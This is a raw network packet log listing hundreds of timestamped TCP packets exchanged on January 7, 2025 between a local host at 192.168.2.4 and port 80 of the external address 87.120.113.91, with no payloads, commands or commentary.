Jan 7, 2025 13:25:34.906549931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906589985 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906610012 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906615973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906649113 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906660080 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906666040 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906678915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906704903 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906744957 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906795025 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906822920 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906903028 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906908989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906922102 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906928062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906941891 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.906944036 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906969070 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.906991005 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907130957 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907139063 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907151937 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907160044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907167912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907180071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907186031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907186985 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907193899 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907202005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907211065 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907232046 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907474995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907481909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907494068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907500029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907526970 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907558918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907572985 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907586098 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907592058 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907603979 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907608986 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907635927 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907687902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907695055 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907708883 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907716036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907737970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907741070 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907744884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907757044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907758951 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907777071 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907819986 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907825947 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907839060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907843113 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.907857895 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.907892942 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928065062 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928081989 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928092957 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928128004 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928134918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928144932 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928145885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928186893 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928245068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928283930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928292036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928304911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928311110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928332090 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928361893 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928402901 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928436995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928442955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928473949 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928608894 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928616047 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928622961 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928628922 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928648949 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928700924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928706884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928719044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928746939 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928828955 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928834915 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928847075 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928869963 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928930998 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928936005 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928949118 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928955078 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928972006 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.928982973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.928988934 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929001093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929003954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.929022074 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.929063082 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929069996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929080009 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929102898 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.929277897 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929317951 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929323912 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929332972 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.929336071 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.929362059 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.984987974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985035896 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985043049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985086918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985099077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985100031 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985105038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985130072 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985146999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985152960 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985157013 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985167027 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985198975 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985251904 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985256910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985268116 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985291004 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985291958 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985297918 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985316992 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985342979 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985529900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985555887 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985560894 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985574007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985579967 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985618114 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985652924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985693932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985696077 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.985699892 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985713959 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.985734940 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.996731997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996738911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996745110 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996784925 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996788979 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.996789932 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996797085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996814013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996817112 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.996857882 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996860981 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.996865034 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996890068 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996896029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996906042 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.996990919 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.996994972 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997045994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997059107 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997066021 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997082949 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997091055 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997097015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997113943 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997137070 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997200966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997258902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997265100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997297049 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997314930 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997317076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997323990 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997339010 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997375965 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997394085 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997400045 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997406006 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997431040 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997461081 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997467995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997478962 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997520924 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997778893 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997786045 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997798920 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997805119 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997812033 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997823954 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997829914 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997833967 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997860909 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997880936 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997888088 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997900963 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997906923 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997919083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997924089 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997924089 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997930050 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.997958899 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.997978926 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.998234987 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998249054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998255968 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998261929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998275042 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998282909 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.998307943 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.998395920 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998402119 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998425007 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998430014 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998437881 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998447895 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:34.998457909 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:34.998477936 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.001833916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.001842022 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.001853943 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.001857996 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.001892090 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.018712997 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018759966 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018760920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.018764973 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018795013 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018800974 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018812895 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.018831015 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018832922 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.018837929 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018861055 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.018882036 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018887043 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018908978 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018922091 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.018956900 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018963099 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018975019 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.018997908 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019021034 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019072056 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019078016 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019084930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019092083 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019107103 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019114971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019134045 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019223928 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019233942 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019237995 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019274950 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019289017 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019295931 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019306898 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019337893 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019470930 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019476891 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019484043 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019490004 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019495964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019500971 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019507885 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019520044 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019531965 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019537926 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019541025 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019543886 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019547939 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019568920 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019593954 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.019684076 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019690037 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019702911 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019706964 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.019746065 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.075560093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075618029 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075623035 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075635910 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075643063 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075649023 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075675011 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.075710058 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.075720072 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075761080 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075767994 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075774908 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075805902 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075812101 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.075813055 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.075858116 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.076014042 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076020002 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076033115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076037884 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076062918 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.076081991 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.076122999 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076170921 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076176882 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076190948 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076196909 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076220036 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.076236010 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076241970 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076257944 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.076289892 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.076343060 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.076419115 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087414026 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087419987 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087433100 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087460041 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087466002 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087472916 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087479115 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087481022 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087502003 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087507963 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087513924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087536097 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087554932 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087563038 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087609053 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087619066 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087639093 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087645054 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087650061 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087678909 CET	49737	80	192.168.2.4	87.120.113.91
Jan 7, 2025 13:25:35.087724924 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087732077 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087743044 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087752104 CET	80	49737	87.120.113.91	192.168.2.4
Jan 7, 2025 13:25:35.087760925 CET	80	49737	87.120.113.91	192.168.2.4
